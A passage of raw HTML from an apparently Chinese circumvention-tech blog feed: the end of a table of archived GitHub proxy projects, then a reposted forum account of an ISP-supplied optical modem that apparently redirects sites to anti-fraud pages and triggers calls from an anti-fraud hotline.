data-saferedirecturl="https://www.google.com/url?q=https://web.archive.org/web/20230618044337/https://github.com/EAimTY/tuic&source=gmail&ust=1699951746538000&usg=AOvVaw2uK-vjl1E-3aoa9lXF-Lp8" href="https://web.archive.org/web/20230618044337/https://github.com/EAimTY/tuic" rel="nofollow" style="color: #1155cc;" target="_blank">链接</a></td><td style="margin: 0px;">2023年11月3日 星期五</td></tr><tr><td style="margin: 0px;">ClashMetaForAndroid</td><td style="margin: 0px;"><a class="notranslate" data-saferedirecturl="https://www.google.com/url?q=https://github.com/MetaCubeX&source=gmail&ust=1699951746538000&usg=AOvVaw2z2RlIGJFihL-UnfcIifKb" href="https://github.com/MetaCubeX" style="color: #1155cc;" target="_blank">@MetaCubeX</a></td><td style="margin: 0px;"><a data-saferedirecturl="https://www.google.com/url?q=https://github.com/MetaCubeX/ClashMetaForAndroid&source=gmail&ust=1699951746538000&usg=AOvVaw3HMSn85_f-kzYNTgoqSeaT" href="https://github.com/MetaCubeX/ClashMetaForAndroid" style="color: #1155cc;" target="_blank">MetaCubeX/ClashMetaForAndroid</a></td><td style="margin: 0px;">已存档</td><td style="margin: 0px;"><a data-saferedirecturl="https://www.google.com/url?q=https://web.archive.org/web/20231103084342/https://github.com/MetaCubeX/ClashMetaForAndroid&source=gmail&ust=1699951746538000&usg=AOvVaw0tZVbGJ3kmtZHVTWD5w8_D" href="https://web.archive.org/web/20231103084342/https://github.com/MetaCubeX/ClashMetaForAndroid" rel="nofollow" style="color: #1155cc;" target="_blank">链接</a></td><td style="margin: 0px;">2023年11月3日 星期五</td></tr><tr><td style="margin: 0px;">Fclash</td><td style="margin: 0px;">@Fclash</td><td style="margin: 0px;"><a data-saferedirecturl="https://www.google.com/url?q=https://github.com/Fclash/Fclash&source=gmail&ust=1699951746538000&usg=AOvVaw3IWetxIN1bx-RB95PTo-Ct" href="https://github.com/Fclash/Fclash" style="color: #1155cc;" target="_blank">Fclash/Fclash</a></td><td style="margin: 0px;">已存档</td><td style="margin: 0px;"><a data-saferedirecturl="https://www.google.com/url?q=https://web.archive.org/web/20231103090810/https://github.com/Fclash/Fclash&source=gmail&ust=1699951746538000&usg=AOvVaw0src7Qh5D7wNAYQQZbsWMv" href="https://web.archive.org/web/20231103090810/https://github.com/Fclash/Fclash" rel="nofollow" style="color: #1155cc;" target="_blank">链接</a></td><td style="margin: 0px;">2023年11月3日 星期五</td></tr><tr><td style="margin: 0px;">homebridger</td><td style="margin: 0px;"><a class="notranslate" data-saferedirecturl="https://www.google.com/url?q=https://github.com/immortalwrt&source=gmail&ust=1699951746538000&usg=AOvVaw26TP5Ddb5J5b2Gdzn0tPYY" href="https://github.com/immortalwrt" style="color: #1155cc;" target="_blank">@immortalwrt</a></td><td style="margin: 0px;"><a data-saferedirecturl="https://www.google.com/url?q=https://github.com/immortalwrt/homebridger&source=gmail&ust=1699951746538000&usg=AOvVaw1KyUJdeubvqUmDy3HQqtOa" href="https://github.com/immortalwrt/homebridger" style="color: #1155cc;" target="_blank">immortalwrt/homebridger</a></td><td style="margin: 0px;">已存档 + 设置<code class="notranslate">rm</code>为默认分支</td><td style="margin: 0px;">None</td><td style="margin: 0px;">2023年11月3日 星期五</td><td style="margin: 0px;"> </td></tr></tbody></table><div class="blogger-post-footer">翻墙技术博客<a href="http://www.chinagfw.org/2013/09/blog-post.html">订阅地址及社交帐号</a></div>pompeihttp://www.blogger.com/profile/07160630084550754009noreply@blogger.com0tag:blogger.com,1999:blog-5500297126185736776.post-89821369881174482262023-10-31T17:52:00.002+08:002023-10-31T17:52:53.867+08:00噫,某些运营商开始在光猫内置反诈插件了<p><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;">via: <a href="https://www.v2ex.com/t/986550">https://www.v2ex.com/t/986550</a> <br /></span></p><p><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;">同事周六参加了某运营商加 1 元提速 2000m 送 fttr 1+2 活动后,<br />当天装好,师傅提到新装 fttr 有在线时长要求,要求 45 天内保持在线并且要使用路由模式,<br />如果中途改桥接或者更换光猫,在线率不达标后台会认为设备丢失或倒卖,扣师傅 800 元工资,<br /><br />装的是某厂主光猫没有 2.5g 接口,组网光猫有一个 2.5g 接口那一种,<br />测速达标姑且先用着路由模式,等过段时间改桥接用,<br /><br />好巧不巧的当天晚上,同事自建的某上网功能出现不能连接的情况,<br /><br />周日偶然打开了 <a href="http://xenyth.net" rel="nofollow noopener" target="_blank">xenyth.net</a> 这家 vps 官网下单买来玩,<br />没想到直接跳转到了反诈页面,同事没在意直接关闭,<br />不到 3 分钟,当地某反诈热线就打来电话,询问同事有没有访问一个叫做 <a href="http://xenyth.net" rel="nofollow noopener" target="_blank">xenyth.net</a> 的诈骗网站,<br />并提到这是一个网购诈骗网站,付款后不会发货,要求不再访问,如有需要可以安排民警上门,<br />给同事吓了一跳,回过神来在同事群里吐槽了几次,<br /><br />中午打开 cloudflare ,是 rst ,解析的地址是 127.0.0.1 ,更换 dns 仍然如此,<br />午饭时某反诈又打来电话,询问有没有访问诈骗网站,<br /><br />第二次在群里吐槽最近这反诈有点高效,<br />我们觉得事出必有妖,给这位同事经过一顿操作排查,<br />唯一有变动的就是升级 fttr 更换光猫了,<br />另一个同事带了个普通的 hn8145v 给这位同事测试,<br />拿到 loid 用普通光猫注册后,cloudflare 可以打开,而 <a href="http://xenyth.net" rel="nofollow noopener" target="_blank">xenyth.net</a> 仍然跳转到反诈页面,<br />奇怪的是这次没有反诈电话,等了很久也没有打来,<br /><br />晚上 8 点,测试普通光猫可以打开 cloudflare ,<br />更换 fttr 光猫后,依仍然是 rst ,测试 443 端口 tcpping 只有 0.8ms ,<br />随后某反诈电话又打来....<br />至此,可以确定是这个 fttr 光猫有问题,很有问题<br /><br />搞到超级密码后进入光猫,嘿,</span></p><p><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;"><img alt="" src="data:image/png;base64,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